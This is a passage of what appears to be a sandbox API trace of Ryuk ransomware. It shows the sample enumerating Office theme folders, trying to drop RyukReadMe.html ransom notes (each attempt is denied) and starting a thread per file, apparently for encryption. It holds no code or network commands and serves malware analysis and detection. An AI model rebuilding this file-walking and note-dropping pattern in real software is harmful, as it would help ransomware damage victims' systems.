	[0165.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.714] GetLastError () returned 0x5
	[0165.714] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0165.714] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.714] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1
	[0165.714] SetLastError (dwErrCode=0x0) 
	[0165.715] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.715] GetLastError () returned 0x5
	[0165.715] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0165.715] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.715] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0165.716] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0165.716] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0165.716] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0165.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x81c
	[0165.719] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.720] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1
	[0165.720] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0165.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820
	[0165.723] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.724] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x8e, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1
	[0165.724] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0165.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824
	[0165.726] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.727] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0165.727] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0165.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828
	[0165.948] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.949] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0165.949] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0166.313] SetLastError (dwErrCode=0x0) 
	[0166.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.313] GetLastError () returned 0x5
	[0166.313] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0166.313] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.314] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1
	[0166.314] SetLastError (dwErrCode=0x0) 
	[0166.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.314] GetLastError () returned 0x5
	[0166.314] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0166.314] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.314] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0166.315] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.315] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0166.315] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.317] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c
	[0166.320] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.321] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x8e, dwReserved1=0x0, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1
	[0166.321] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.322] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830
	[0166.324] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.325] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x8e, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1
	[0166.325] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834
	[0166.327] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.328] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0166.328] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.328] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x838
	[0166.330] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.331] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0166.331] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0166.331] SetLastError (dwErrCode=0x0) 
	[0166.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.331] GetLastError () returned 0x5
	[0166.331] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0166.332] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.332] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1
	[0166.332] SetLastError (dwErrCode=0x0) 
	[0166.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.332] GetLastError () returned 0x5
	[0166.332] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0166.332] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.332] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0166.333] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.333] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0166.333] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.334] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c
	[0166.336] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.336] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1
	[0166.337] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840
	[0166.339] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.340] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1
	[0166.340] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x844
	[0166.342] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.342] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0166.343] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x848
	[0166.345] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.346] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8573, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0166.346] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0166.346] SetLastError (dwErrCode=0x0) 
	[0166.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.347] GetLastError () returned 0x5
	[0166.347] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0166.347] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.347] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1
	[0166.347] SetLastError (dwErrCode=0x0) 
	[0166.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.348] GetLastError () returned 0x5
	[0166.348] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0166.348] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.348] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
